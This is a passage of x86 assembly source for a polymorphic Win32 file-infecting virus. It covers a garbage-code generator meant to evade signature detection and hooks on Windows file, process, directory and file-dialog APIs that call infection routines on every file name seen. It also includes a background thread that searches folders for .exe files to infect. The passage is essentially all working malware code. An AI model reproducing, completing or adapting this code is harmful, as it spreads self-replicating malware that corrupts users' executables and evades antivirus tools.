PolyGenGarbageBufferLoop pop eax add esp,size PolyVar pop eax push edi popad retn PolyGenGarbageBuffer_end: ;Save gargage code generate,can be used in other generation PolyGenSafeGarbage: pushad call VirGetRand movzx eax,al and al,7 add al,8 ;8-15 layers garbage code push eax PolyGenSafeGarbageLoop: call VirGetRand mov edx,eax and al,0fh and ah,3 ;common reg xchg cl,ah ;cl=potential useful reg call PolyGetReg ;bl=garbagereg ;bl=gargage reg,cl=useful reg cmp al,PolyGenSafeGarbageMultiNum jnc PolyGenSafeGarbage_0 push ebx call PolyGenSafeGarbageMulti PolyGenSafeGarbageMulti_0: db 11h; adc db 01h; add db 21h; and db 39h; cmp db 89h; mov db 09h; or db 19h; sbb db 29h; sub db 31h; xor PolyGenSafeGarbageMultiNum equ $-PolyGenSafeGarbageMulti_0 PolyGenSafeGarbageMulti: pop ebx movzx eax,al mov al,[ebx+eax] pop ebx call PolyOpDirReg1Reg2 jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_0: cmp al,PolyGenSafeGarbageMultiNum+0 jnz short PolyGenSafeGarbage_1 ;xchg garbagereg,commonreg/xchg garbagereg,commonreg call PolyXchgReg32Reg call PolyXchgReg32Reg jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_1: cmp al,PolyGenSafeGarbageMultiNum+1 jnz short PolyGenSafeGarbage_2 test dh,10h jz short PolyGenSafeGarbage_@11 ;jmp forword,short format mov al,0ebh stosb movzx eax,dh and al,3 ;max forward 3 bytes stosb add edi,eax jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_@11: ;call forward/pop gargagereg mov al,0e8h stosb movzx eax,dh and al,3 ;max forward 3 bytes stosd add edi,eax mov al,58h or al,bl stosb jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_2: cmp al,PolyGenSafeGarbageMultiNum+2 jnz short PolyGenSafeGarbage_3 ;bswap garbagereg mov al,0fh stosb mov al,0c8h or al,bl stosb jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_3: cmp al,PolyGenSafeGarbageMultiNum+3 jnz short PolyGenSafeGarbage_4 ;jcc forward mov al,70h and dh,0fh or al,dh stosb shr edx,12 mov al,dh and al,3 ;max 3 bytes stosb call PolyGetOneByteGarbage jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_4: cmp al,PolyGenSafeGarbageMultiNum+4 jnz short PolyGenSafeGarbage_5 ;test reg,reg mov al,85h stosb mov al,cl shl al,3 or al,0c0h or al,bl stosb jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_5: PolyGenSafeGarbageNext: dec dword ptr [esp] jnz PolyGenSafeGarbageLoop pop eax pop eax push edi popad retn PolyGenSafeGarbage_end: ;nop,clc,stc,cld,std ;Param: al=code number PolyGetOneByteGarbage: push ebx push eax PolyGetOneByteGarbageLoop: or al,al jz short PolyGetOneByteGarbageRet push eax call VirGetRand xchg eax,ebx mov al,90h ;nop test bh,8 jz short PolyGetOneByteGarbage1 mov al,0f8h ;clc and bl,1 add al,bl ;maybe stc jmp short PolyGetOneByteGarbageNext PolyGetOneByteGarbage1: test bh,2 jz short PolyGetOneByteGarbageNext mov al,0fch ;cld and bl,1 add al,bl ;maybe std ; jmp short PolyGetOneByteGarbageNext PolyGetOneByteGarbageNext: stosb pop eax dec al jmp short PolyGetOneByteGarbageLoop PolyGetOneByteGarbageRet: pop eax pop ebx retn PolyGetOneByteGarbage_end: ;opcode dstreg,srcreg,select two direction ;Param: cl=srcreg,bl=dstreg,al=opcode PolyOpDirReg1Reg2: push ebx push ecx push eax call VirGetRand test al,2 pop eax jz short PolyOpDirReg1Reg2_1 or al,2 xchg cl,bl PolyOpDirReg1Reg2_1: stosb mov al,cl shl al,3 or al,0c0h or al,bl stosb pop ecx pop ebx retn PolyOpDirReg1Reg2_end: ;xchg reg32,reg32 ;Param: cl,bl= reg32 PolyXchgReg32Reg: call VirGetRand test al,1 jz short PolyXchgReg32Reg1 ;xchg reg,reg mov al,87h stosb mov al,cl shl al,3 or al,0c0h or al,bl stosb retn PolyXchgReg32Reg1: ;push reg1/push reg2/pop reg1/pop reg2 mov al,50h or al,cl stosb mov al,50h or al,bl stosb mov al,58h or al,cl stosb mov al,58h or al,bl stosb retn retn PolyXchgReg32Reg_end: PolyGenGarbage: pushad mov esi,edx ;save edx call VirGetRand test ah,3 jnz short PolyGenGarbageNotSafe popad jmp PolyGenSafeGarbage PolyGenGarbageNotSafe: movzx eax,al and al,7 add al,8 ;8-15 layers garbage code push eax PolyGenGarbageLoop: call VirGetRand mov edx,eax and al,7 and ah,3 ;common reg xchg cl,ah call PolyGetReg ;bl=garbagereg xchg cl,bl ;cl=gargage reg,bl=useful reg cmp al,0 jnz short PolyGenGarbage_1 ;mov garbagereg,commonreg xchg cl,bl call PolyMovReg32Reg32 ;mov regbl,regcl jmp short PolyGenGarbageNext PolyGenGarbage_1: cmp al,1 jnz short PolyGenGarbage_2 ;add garbagereg,imm32 call PolyAddReg32Imm jmp short PolyGenGarbageNext PolyGenGarbage_2: cmp al,2 jnz short PolyGenGarbage_3 ;roll garbagereg,imm8 bswap edx and dh,8 call PolyRollReg32Imm8 jmp short PolyGenGarbageNext PolyGenGarbage_3: cmp al,3 jnz short PolyGenGarbage_4 ;mov garbagereg,mem mov edx,esi call PolyMovReg32Mem jmp short PolyGenGarbageNext PolyGenGarbage_4: PolyGenGarbageNext: dec dword ptr [esp] jnz PolyGenGarbageLoop pop eax pop eax push edi popad retn PolyGenGarbage_end: if 0 ;cmp reg32,0 ;Param: cl=reg32 PolyCmpReg32_0: call VirGetRand test al,1 jnz short PolyCmpReg32_0_1 ;cmp reg32,0 test al,2 jnz short PolyCmpReg32_0_2 ;long format mov al,81h stosb mov al,0f8h or al,cl stosb xor eax,eax stosd retn PolyCmpReg32_0_2: ;short format mov al,83h stosb mov al,0f8h or al,cl stosb xor al,al stosb retn PolyCmpReg32_0_1: ;or reg32,reg32 test al,8 mov al,09h jz short PolyCmpReg32_0_3 mov al,0bh PolyCmpReg32_0_3: stosb mov al,cl shl al,3 or al,0c0h or al,cl stosb retn PolyCmpReg32_0_end: endif ;ror/rol reg32,imm8 ;Param: cl=reg32,dl=imm8,dh=0 means rol,dh=8 means ror PolyRollReg32Imm8: call VirGetRand cmp dl,1 jnz short PolyRollReg32Imm8_1 test al,1 jz short PolyRollReg32Imm8_1 ;ror/rol reg32,1 mov al,0d1h PolyRollReg32Imm8__help: stosb mov al,0c0h or al,cl or al,dh stosb retn PolyRollReg32Imm8_1: test al,2 jnz short PolyRollReg32Imm8_2 PolyRollReg32Imm8__help2: ;ror/rol reg32,imm8 mov al,0c1h call PolyRollReg32Imm8__help mov al,dl stosb retn PolyRollReg32Imm8_2: ;mov tmpreg32,reg32/ror/rol tmpreg32,imm8/mov reg32,tmpreg32 stc call PolyGetReg call PolyMovReg32Reg32 xchg bl,cl call PolyRollReg32Imm8__help2 call PolyMovReg32Reg32 retn PolyRollReg32Imm8_end: ;bswap reg32 ;Param: cl=reg32 PolyBswapReg32: call VirGetRand test al,1 jnz short PolyBswapReg32_1 ;bswap reg32 PolyBswapReg32_0: mov al,0fh stosb mov al,0c8h or al,cl stosb retn PolyBswapReg32_1: ;mov tmpreg32,reg32/bswap tmpreg32/mov reg32,tmpreg32 stc call PolyGetReg call PolyMovReg32Reg32 xchg bl,cl call PolyBswapReg32_0 call PolyMovReg32Reg32 retn PolyBswapReg32_end: ;xor reg32,imm32 ;Param: cl=reg32,edx=imm32 PolyXorReg32Imm: call VirGetRand test al,1 jz short PolyXorReg32Imm1 ;xor reg32,imm32 mov al,81h stosb mov al,0f0h or al,cl stosb mov eax,edx stosd retn PolyXorReg32Imm1: ;mov tmpreg32,imm32/xor reg32,tmp32 stc call PolyGetReg xchg bl,cl call PolyMovReg32Imm mov al,33h stosb mov al,bl shl al,3 or al,0c0h or al,cl stosb retn PolyXorReg32Imm_end: ;add ret32,imm32 ;Param: cl=reg32,edx=imm32 PolyAddReg32Imm: call VirGetRand cmp edx,1;can be inc reg32? jnz short PolyAddReg32Imm1 test al,8 jz short PolyAddReg32Imm1 ;inc reg32 mov al,40h or al,cl stosb retn PolyAddReg32Imm1: test al,1 jnz short PolyAddReg32Imm2 ;mov tmpreg32,imm32/add reg32,tmpreg32 stc call PolyGetReg xchg bl,cl call PolyMovReg32Imm mov al,3 stosb mov al,bl shl al,3 or al,0c0h or al,cl stosb retn PolyAddReg32Imm2: test al,10h jz short PolyAddReg32Imm3 ;add reg32,imm mov al,81h stosb mov al,0c0h or al,cl stosb mov eax,edx stosd retn PolyAddReg32Imm3: ;or reg32,reg32/adc reg32,imm mov bl,cl mov al,09h call PolyOpDirReg1Reg2 mov al,81h stosb mov al,0d0h or al,cl stosb mov eax,edx stosd retn PolyAddReg32Imm_end: ;sub ret32,imm32 ;Param: cl=reg32,edx=imm32 PolySubReg32Imm: call VirGetRand cmp edx,1;can be dec reg32? jnz short PolySubReg32Imm1 test al,8 jz short PolySubReg32Imm1 ;dec reg32 mov al,48h or al,cl stosb retn PolySubReg32Imm1: test al,1 jnz short PolySubReg32Imm2 ;add reg32,neg imm neg edx jmp short PolyAddReg32Imm1 PolySubReg32Imm2: ;sub reg32,imm mov al,81h stosb mov al,0e8h or al,cl stosb mov eax,edx stosd retn PolySubReg32Imm_end: ;mov ret32,imm32 ;Param: cl=reg32,edx=imm32 PolyMovReg32Imm: call VirGetRand test al,1 jz short PolyMovReg32Imm1 ;mov reg32,imm32 mov al,0b8h or al,cl stosb mov eax,edx stosd retn PolyMovReg32Imm1: ;push imm32/pop reg32 mov al,68h stosb mov eax,edx stosd mov al,58h or al,cl stosb retn PolyMovReg32Imm_end: ;mov reg32,[reg of dl(source) + reg of bh(count)] ;Param: cl=reg32 PolyMovReg32Mem: call VirGetRand test al,3 jz short PolyMovReg32Mem1 ;mov tmpreg8,mem/mov reg8,tmpreg clc call PolyGetReg xchg cl,bl call PolyMovReg32Mem3 ;mov tmpre32,mem ;Now cl=tmpreg,bl=reg call PolyMovReg32Reg32 retn PolyMovReg32Mem1: test al,4 jnz short PolyMovReg32Mem2 PolyMovReg32Mem3: ;mov reg8,mem mov al,8bh call PolyMovMemHelp retn PolyMovReg32Mem2: ;push mem/pop reg mov ax,034ffh stosw mov al,dh shl al,3 or al,dl ;SIB stosb mov al,cl ;pop reg or al,58h stosb retn PolyMovReg32Mem_end: ;mov [reg of dl(source) + reg of bh(count)],reg32 ;Param: cl=reg32 PolyMovMemReg32: call VirGetRand test al,3 jz short PolyMovMemReg32_1 ;mov tmpreg,reg/mov mem32,tmpreg clc call PolyGetReg ;cl=reg32,bl=tmpreg32 call PolyMovReg32Reg32 xchg bl,cl ;cl=reg32,bl=tmpreg32 PolyMovMemReg32_1: test al,4 jz short PolyMovMemReg32__2 ;mov mem32,reg32 mov al,89h call PolyMovMemHelp retn PolyMovMemReg32__2: ;push reg32/pop mem32 mov al,50h or al,cl stosb mov ax,048fh stosw mov al,dh shl al,3 or al,dl ;SIB stosb retn PolyMovMemReg32_end: ;For mov mem32,reg or mov reg,mem32 ;Param: al=the first byte,89h-mov mem32,reg,8bh-mov reg,mem32 PolyMovMemHelp: stosb mov al,cl shl al,3 or al,4 stosb ;mod/reg/rm mov al,dh shl al,3 or al,dl ;SIB stosb retn PolyMovMemHelp_end: ;mov reg32,[reg of dl(source) + reg of bh(count)] ;Param: cl=source reg32,bl=dest reg32 PolyMovReg32Reg32: call VirGetRand test al,1 jz short PolyMovReg32Reg32_1 ;mov dstreg32,srcreg32 test al,8 jz short PolyMovReg32Reg32_2 ;reg1 to reg2 mov al,89h stosb mov al,cl shl al,3 or al,0c0h or al,bl stosb retn PolyMovReg32Reg32_2: ;reg2 to reg1 mov al,8bh stosb mov al,bl shl al,3 or al,0c0h or al,cl stosb retn PolyMovReg32Reg32_1: ;push srcreg32/pop dstreg32 mov al,50h or al,cl stosb mov al,58h or al,bl stosb retn PolyMovReg32Reg32_end: ;Param: ebp->PolyVar,CF=0: use only common reg,CF=1: use all reg ;Return: bl=reg,bh won't be affect PolyGetReg: push eax push edx push ecx setc cl shr cl,2 add cl,3 call VirGetRand movzx edx,al and dl,cl dec dl PolyGetRegLoop: inc dl and dl,cl cmp dl,4 ;is esp? jz short PolyGetRegLoop cmp dl,5 ;is ebp? jz short PolyGetRegLoop cmp byte ptr [ebp+edx],dh ;dh=0 jnz short PolyGetRegLoop mov bl,dl pop ecx pop edx pop eax retn PolyGetReg_end: ;Param: al=last poly type ;Return: al=poly type PolyGetType: push edx mov dh,al call VirGetRand xor ah,ah ;avoid overflow error mov dl,PTNUM div dl mov al,ah pop edx retn PolyGetType_end: ;Return: eax=random number VirGetRand: pushad call VirGetRandIP VirGetRandIP: pop ebp call [ebp+addrGetTickCount-VirGetRandIP] mov ecx,12345678h RandSeed equ $-4 add eax,ecx rol ecx,1 add ecx,esp add [ebp+RandSeed-VirGetRandIP],ecx push large 32 pop ecx VirGetRand1: shr eax,1 jnc VirGetRand2 xor eax,0ED388320h VirGetRand2: loop VirGetRand1 mov [esp+7*4],eax popad retn get_rand_end: ;Try to set GetOpenFileName hook ;Param: esi->OPENFILENAME, edi->address of hook procedure HookGetOpenFileNameTryHook: mov ecx,[esi].OPENFILENAME.Flags test ecx,OFN_ENABLEHOOK jnz short HookGetOpenFileNameTryHookRet test ecx,OFN_EXPLORER jz short HookGetOpenFileNameTryHookRet or [esi].OPENFILENAME.Flags,OFN_ENABLEHOOK mov [esi].OPENFILENAME.lpfnHook,edi HookGetOpenFileNameTryHookRet: retn HookGetOpenFileNameTryHook_end: ;Try to release GetOpenFileName hook ;Param: esi->OPENFILENAME, edi->address of hook procedure HookGetOpenFileNameUnhook: cmp [esi].OPENFILENAME.lpfnHook,edi jnz short HookGetOpenFileNameUnhookRet and [esi].OPENFILENAME.Flags,not OFN_ENABLEHOOK mov [esi].OPENFILENAME.lpfnHook,0 HookGetOpenFileNameUnhookRet: retn HookGetOpenFileNameUnhook_end: HookGetOpenFileNameHookA: cmp dword ptr [esp+4+4],WM_NOTIFY ;uiMsg jnz short HookGetOpenFileNameHookARet mov eax,[esp+4+4*3] ;lParam cmp dword ptr [eax+8],CDN_FOLDERCHANGE jnz short HookGetOpenFileNameHookARet mov eax,[esp+4] pushad call HookGetOpenFileNameHookAIP HookGetOpenFileNameHookAIP: pop ebp push eax call [ebp+addrGetParent-HookGetOpenFileNameHookAIP] sub esp,1000 mov edi,esp push edi push 500 push CDM_GETFOLDERPATH push eax call [ebp+addrSendMessageA-HookGetOpenFileNameHookAIP] cmp eax,0 jle short HookGetOpenFileNameHookAFail cmp byte ptr [edi+1],0 jz short HookGetOpenFileNameHookAWide call TrySearchPath jmp short HookGetOpenFileNameHookAFail HookGetOpenFileNameHookAWide: call TrySearchPathWide HookGetOpenFileNameHookAFail: add esp,1000 popad HookGetOpenFileNameHookARet: xor eax,eax retn 16 HookGetOpenFileNameHookA_end: HookGetSaveFileNameA: pushad pushfd call HookGetSaveFileNameAIP HookGetSaveFileNameAIP: pop ebx mov eax,[ebx+addrGetSaveFileNameA-HookGetSaveFileNameAIP] lea ebp,[ebx+HookGetOpenFileNameAIP-HookGetSaveFileNameAIP] jmp short HookGetOpenFileNameA_1 HookGetSaveFileNameA_end: HookGetSaveFileNameW: pushad pushfd call HookGetSaveFileNameWIP HookGetSaveFileNameWIP: pop ebx mov eax,[ebx+addrGetSaveFileNameW-HookGetSaveFileNameWIP] lea ebp,[ebx+HookGetOpenFileNameWIP-HookGetSaveFileNameWIP] jmp short HookGetOpenFileNameW_1 HookGetSaveFileNameW_end: HookGetOpenFileNameA: pushad pushfd call HookGetOpenFileNameAIP HookGetOpenFileNameAIP: pop ebp mov eax,[ebp+addrGetOpenFileNameA-HookGetOpenFileNameAIP] HookGetOpenFileNameA_1: mov esi,[esp+9*4+4] lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameAIP] call HookGetOpenFileNameTryHook push esi call eax mov [esp+4+7*4],eax call HookGetOpenFileNameUnhook popfd popad retn 4 HookGetOpenFileNameA_end: HookGetOpenFileNameW: pushad pushfd call HookGetOpenFileNameWIP HookGetOpenFileNameWIP: pop ebp mov eax,[ebp+addrGetOpenFileNameW-HookGetOpenFileNameWIP] HookGetOpenFileNameW_1: mov esi,[esp+9*4+4] lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameWIP] call HookGetOpenFileNameTryHook push esi call eax mov [esp+4+7*4],eax call HookGetOpenFileNameUnhook popfd popad retn 4 HookGetOpenFileNameW_end: HookLoadLibraryA: pushad pushfd call HookLoadLibraryAIP HookLoadLibraryAIP: pop ebp mov esi,[esp+9*4+4] push esi call [ebp+addrLoadLibraryA-HookLoadLibraryAIP] mov [esp+4+7*4],eax or eax,eax jz short HookLoadLibraryARet mov edi,1000 sub esp,edi mov edx,esp push edi push edx push eax call HookGetModuleFileNameA add esp,edi HookLoadLibraryARet: popfd popad retn 4 HookLoadLibraryA_end: HookLoadLibraryW: pushad pushfd call HookLoadLibraryWIP HookLoadLibraryWIP: pop ebp mov esi,[esp+9*4+4] push esi call [ebp+addrLoadLibraryW-HookLoadLibraryWIP] mov [esp+4+7*4],eax or eax,eax jz short HookLoadLibraryWRet mov edi,1000 sub esp,edi mov edx,esp push large 500 push edx push eax call HookGetModuleFileNameW add esp,edi HookLoadLibraryWRet: popfd popad retn 4 HookLoadLibraryW_end: HookGetModuleFileNameA: pushad pushfd call HookGetModuleFileNameAIP HookGetModuleFileNameAIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] mov eax,[esp+9*4+4+4+4] push eax push edi push esi call [ebp+addrGetModuleFileNameA-HookGetModuleFileNameAIP] mov [esp+4+7*4],eax or eax,eax jz short HookGetModuleFileNameARet call TrySearchFile HookGetModuleFileNameARet: popfd popad retn 12 HookGetModuleFileNameA_end: HookGetModuleFileNameW: pushad pushfd call HookGetModuleFileNameWIP HookGetModuleFileNameWIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] mov eax,[esp+9*4+4+4+4] push eax push edi push esi call [ebp+addrGetModuleFileNameW-HookGetModuleFileNameWIP] mov [esp+4+7*4],eax or eax,eax jz short HookGetModuleFileNameWRet xchg edi,edx call InfectFileWide HookGetModuleFileNameWRet: popfd popad retn 12 HookGetModuleFileNameW_end: HookGetCurrentDirectoryA: pushad pushfd call HookGetCurrentDirectoryAIP HookGetCurrentDirectoryAIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] push edi push esi call [ebp+addrGetCurrentDirectoryA-HookGetCurrentDirectoryAIP] mov [esp+4+7*4],eax or eax,eax jz short HookGetCurrentDirectoryARet call TrySearchPath HookGetCurrentDirectoryARet: popfd popad retn 8 HookGetCurrentDirectoryA_end: HookGetCurrentDirectoryW: pushad pushfd call HookGetCurrentDirectoryWIP HookGetCurrentDirectoryWIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] push edi push esi call [ebp+addrGetCurrentDirectoryW-HookGetCurrentDirectoryWIP] mov [esp+4+7*4],eax or eax,eax jz short HookGetCurrentDirectoryWRet call TrySearchPathWide HookGetCurrentDirectoryWRet: popfd popad retn 8 HookGetCurrentDirectoryW_end: HookSetCurrentDirectoryA: pushad pushfd call HookSetCurrentDirectoryAIP HookSetCurrentDirectoryAIP: pop ebp mov edi,[esp+9*4+4] push edi call [ebp+addrSetCurrentDirectoryA-HookSetCurrentDirectoryAIP] mov [esp+4+7*4],eax or eax,eax jz short HookSetCurrentDirectoryARet call TrySearchPath HookSetCurrentDirectoryARet: popfd popad retn 4 HookSetCurrentDirectoryA_end: HookSetCurrentDirectoryW: pushad pushfd call HookSetCurrentDirectoryWIP HookSetCurrentDirectoryWIP: pop ebp mov edi,[esp+9*4+4] push edi call [ebp+addrSetCurrentDirectoryW-HookSetCurrentDirectoryWIP] mov [esp+4+7*4],eax or eax,eax jz short HookSetCurrentDirectoryWRet call TrySearchPathWide HookSetCurrentDirectoryWRet: popfd popad retn 4 HookSetCurrentDirectoryW_end: HookFindFirstFileA: pushad pushfd call HookFindFirstFileAIP HookFindFirstFileAIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] push edi push esi call [ebp+addrFindFirstFileA-HookFindFirstFileAIP] mov [esp+4+7*4],eax inc eax jz short HookFindFirstFileARet add edi,4*11 ;edi->cFileName push esi call HookFindHelp pop edi call TrySearchFile HookFindFirstFileARet: popfd popad retn 8 HookFindFirstFileA_end: ;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATA HookFindHelp: sub esp,2000 xchg ebx,edi mov edi,esp mov edx,edi call VirExtractPath mov edi,ecx mov esi,ebx HookFindHelpLoop2: lodsb stosb or al,al jnz short HookFindHelpLoop2 mov edi,edx call InfectFile HookFindHelpRet: add esp,2000 retn HookFindHelp_end: HookFindFirstFileW: pushad pushfd call HookFindFirstFileWIP HookFindFirstFileWIP: pop ebp mov esi,[esp+9*4+4] mov edi,[esp+9*4+4+4] push edi push esi call [ebp+addrFindFirstFileW-HookFindFirstFileWIP] mov [esp+4+7*4],eax inc eax jz short HookFindFirstFileWRet add edi,4*11 ;edi->cFileName call HookFindHelpWide HookFindFirstFileWRet: popfd popad retn 8 HookFindFirstFileW_end: ;Param: esi->lpFileName,edi->cFileName of WIN32_FIND_DATA HookFindHelpWide: sub esp,2000 mov edx,esi xchg ecx,edi mov edi,esp call UnicodeToAnsi mov esi,edi mov edx,ecx add edi,1000 call UnicodeToAnsi push esi call HookFindHelp pop edi call TrySearchFile add esp,2000 retn HookFindHelpWide_end: HookMoveFileExA: push eax pushad pushfd mov edx,addrMoveFileExA-HookBaseIP jmp short HookMoveFileA_1 HookMoveFileExA_end: HookMoveFileExW: push eax pushad pushfd mov edx,addrMoveFileExW-HookBaseIP jmp short HookMoveFileW_1 HookMoveFileExW_end: HookCopyFileExA: push eax pushad pushfd mov edx,addrCopyFileExA-HookBaseIP jmp short HookMoveFileA_1 HookCopyFileExA_end: HookCopyFileExW: push eax pushad pushfd mov edx,addrCopyFileExW-HookBaseIP jmp short HookMoveFileW_1 HookCopyFileExW_end: HookCopyFileA: push eax pushad pushfd mov edx,addrCopyFileA-HookBaseIP jmp short HookMoveFileA_1 HookCopyFileA_end: HookCopyFileW: push eax pushad pushfd mov edx,addrCopyFileW-HookBaseIP jmp short HookMoveFileW_1 HookCopyFileW_end: HookMoveFileA: push eax pushad pushfd mov edx,addrMoveFileA-HookBaseIP HookMoveFileA_1: mov edi,[esp+10*4+4] call InfectFileAnsi jmp short HookReturn HookMoveFileA_end: HookMoveFileW: push eax pushad pushfd mov edx,addrMoveFileW-HookBaseIP HookMoveFileW_1: push edx mov edx,[esp+10*4+4+4] call InfectFileWide pop edx jmp short HookReturn HookMoveFileW_end: HookShellExecuteExA: push eax pushad pushfd mov edi,[esp+10*4+4] or edi,edi jz short HookShellExecuteExARet mov edi,[edi+4*4] call InfectFileAnsi HookShellExecuteExARet: mov edx,addrShellExecuteExA-HookBaseIP jmp short HookReturn HookShellExecuteExA_end: HookShellExecuteExW: push eax pushad pushfd mov edx,[esp+10*4+4] or edx,edx jz short HookShellExecuteExWRet mov edx,[edx+4*4] call InfectFileWide HookShellExecuteExWRet: mov edx,addrShellExecuteExA-HookBaseIP jmp short HookReturn HookShellExecuteExW_end: HookCreateFileA: push eax pushad pushfd mov edi,[esp+10*4+4] call InfectFileAnsi mov edx,addrCreateFileA-HookBaseIP HookReturn: call HookCreateFileAIP HookCreateFileAIP: HookBaseIP equ HookCreateFileAIP pop edi mov eax,[edi+edx] mov [esp+4*9],eax popfd popad retn HookCreateFileA_end: HookCreateFileW: push eax pushad pushfd mov edx,addrCreateFileW-HookBaseIP jmp short HookMoveFileW_1 HookCreateFileW_end: HookCreateProcessA: push eax pushad pushfd mov edx,addrCreateProcessA-HookBaseIP jmp HookMoveFileA_1 HookCreateProcessA_end: HookCreateProcessW: push eax pushad pushfd mov edx,addrCreateProcessW-HookBaseIP jmp HookMoveFileW_1 HookCreateProcessW_end: HookShellExecuteA: push eax pushad pushfd mov edi,[esp+10*4+4+2*4] call InfectFileAnsi mov edx,addrShellExecuteA-HookBaseIP jmp short HookReturn HookShellExecuteA_end: HookShellExecuteW: push eax pushad pushfd mov edx,[esp+10*4+4+2*4] call InfectFileWide mov edx,addrShellExecuteW-HookBaseIP jmp short HookReturn HookShellExecuteW_end: ;Infect file with ansi file name,only a wrapper of InfectFile ;Param: edi->ansi file name InfectFileAnsi: pushad call InfectFile call TrySearchFile popad retn InfectFileAnsi_end: ;Infect file with unicode file name ;Param: edx->unicode file name InfectFileWide: mov esi,512 sub esp,esi mov edi,esp call UnicodeToAnsi call InfectFile call TrySearchFile add esp,esi retn InfectFileWide_end: ;Param: edx->unicode string,edi->dest ansi buffer(at leaset 512 bytes) UnicodeToAnsi: push ecx push large 0 push large 0 push large 512 push edi ;lpMultiByteStr push -1 push edx push large 200h ;WC_COMPOSITECHECK push large 0 ;CP_ACP call UnicodeToAnsiIP UnicodeToAnsiIP: pop eax call [eax+addrWideCharToMultiByte-UnicodeToAnsiIP] pop ecx retn UnicodeToAnsi_end: ;Search path ;Param: edi->Path TrySearchPath: sub esp,1000 cld mov esi,edi mov edi,esp TrySearchPathLoop: lodsb stosb or al,al jnz short TrySearchPathLoop TrySearchPath_Help: dec edi cmp byte ptr [edi-1],'/' jz short TrySearchPath_1 mov al,'/' stosb TrySearchPath_1: mov eax,'0fck' and 0ffffffh stosd mov edi,esp call TrySearchFile add esp,1000 retn TrySearchPath_end: ;Param: edi->unicode path TrySearchPathWide: sub esp,1000 mov edx,edi mov edi,esp call UnicodeToAnsi add edi,eax jmp short TrySearchPath_Help TrySearchPathWide_end: ;Extract the file path,then search it ;Param: edi->file name TrySearchFile: call CanSearch jnz short TrySearchFileRet pushad call TrySearchFileIP TrySearchFileIP: pop ebx lea esi,[ebx+PathBuf-TrySearchFileIP] xchg esi,edi call VirExtractPath mov edi,ecx mov eax,'xe.*' stosd mov eax,'000e' and 0ffh stosd push dword ptr [ebx+VirEventHandle-TrySearchFileIP] call [ebx+addrSetEvent-TrySearchFileIP] popad TrySearchFileRet: retn TrySearchFile_end: ;Param: esi->source buffer,edi->dest buffer ;Return: esi,edi->buffer end,ecx->afte the last '/' or the buffer head VirExtractPath: cld mov ecx,edi VirExtractPathLoop: lodsb stosb cmp al,'/' jnz short VirExtractPathNotBackSlash mov ecx,edi VirExtractPathNotBackSlash: or al,al jnz short VirExtractPathLoop retn VirExtractPath_end: ;Return: ZF=0,can't begin search,ZF=1,can begin search CanSearch: pushad call CanSearchIP CanSearchIP: pop esi xor edx,edx mov dl,0 SearchSign equ $-1 or dl,dl jnz short CanSearchRet call [esi+addrGetTickCount-CanSearchIP] xor edx,edx sub eax,12345678h CanSearchTick equ $-4 cmp eax,3*1000 ;3 sec ja short CanSearchRet inc edx CanSearchRet: or edx,edx popad retn CanSearch_end: ;Thread to search a specified path SearchThread: call SearchThreadIP SearchThreadIP: pop ebp sub esp,1000 SearchThreadDeadLoop: mov byte ptr [ebp+SearchSign-SearchThreadIP],0 push large -1 push large 12345678h VirEventHandle equ $-4 call [ebp+addrWaitForSingleObject-SearchThreadIP] mov byte ptr [ebp+SearchSign-SearchThreadIP],1 call [ebp+addrGetTickCount-SearchThreadIP] mov [ebp+SearchThreadTick-SearchThreadIP],eax lea esi,[ebp+PathBuf-SearchThreadIP] mov edi,esp push edi push esi call [ebp+addrFindFirstFileA-SearchThreadIP] inc eax jz short SearchThreadDeadLoop dec eax push eax ;Handle SearchThreadFindLoop: pushad add edi,4*11 ;edi->cFileName call HookFindHelp popad call [ebp+addrGetTickCount-SearchThreadIP] sub eax,12345678h SearchThreadTick equ $-4 cmp eax,1500 ;continue run for 1500 millionsecond ja short SearchThreadClose pop eax push eax push edi push eax call [ebp+addrFindNextFileA-SearchThreadIP] or eax,eax jnz short SearchThreadFindLoop SearchThreadClose: call [ebp+addrFindClose-SearchThreadIP] call [ebp+addrGetTickCount-SearchThreadIP] mov [ebp+CanSearchTick-SearchThreadIP],eax jmp short SearchThreadDeadLoop SearchThread_end: VirImportTable: db 'KERNEL32.dll' db 0,0,'LoadLibraryA' db 0,0,'GetProcAddress',0 VirImportTableStringSize equ $-VirImportTable VIRAPIDEF macro apiname db IMPORT_IS_NAME db apiname endm Kernel32APIName: db 'kernel32' VIRAPIDEF 'CreateFileA' VIRAPIDEF 'CreateFileW' VIRAPIDEF 'CreateProcessA' VIRAPIDEF 'CreateProcessW' VIRAPIDEF 'FindFirstFileA' VIRAPIDEF 'FindFirstFileW' VIRAPIDEF 'CopyFileA' VIRAPIDEF 'CopyFileW' VIRAPIDEF 'CopyFileExA' VIRAPIDEF 'CopyFileExW' VIRAPIDEF 'MoveFileA' VIRAPIDEF 'MoveFileW' VIRAPIDEF 'MoveFileExA' VIRAPIDEF 'MoveFileExW' VIRAPIDEF 'GetCurrentDirectoryA' VIRAPIDEF 'GetCurrentDirectoryW' VIRAPIDEF 'SetCurrentDirectoryA' VIRAPIDEF 'SetCurrentDirectoryW' VIRAPIDEF 'GetModuleFileNameA' VIRAPIDEF 'GetModuleFileNameW' VIRAPIDEF 'LoadLibraryA' VIRAPIDEF 'LoadLibraryW' VIRAPIDEF 'SetEndOfFile' VIRAPIDEF 'SetFilePointer' VIRAPIDEF 'GetFileAttributesA' VIRAPIDEF 'SetFileAttributesA' VIRAPIDEF 'CloseHandle' VIRAPIDEF 'GetFileTime' VIRAPIDEF 'SetFileTime' VIRAPIDEF 'GetFileSize' VIRAPIDEF 'CreateFileMappingA' VIRAPIDEF 'MapViewOfFile' VIRAPIDEF 'UnmapViewOfFile' 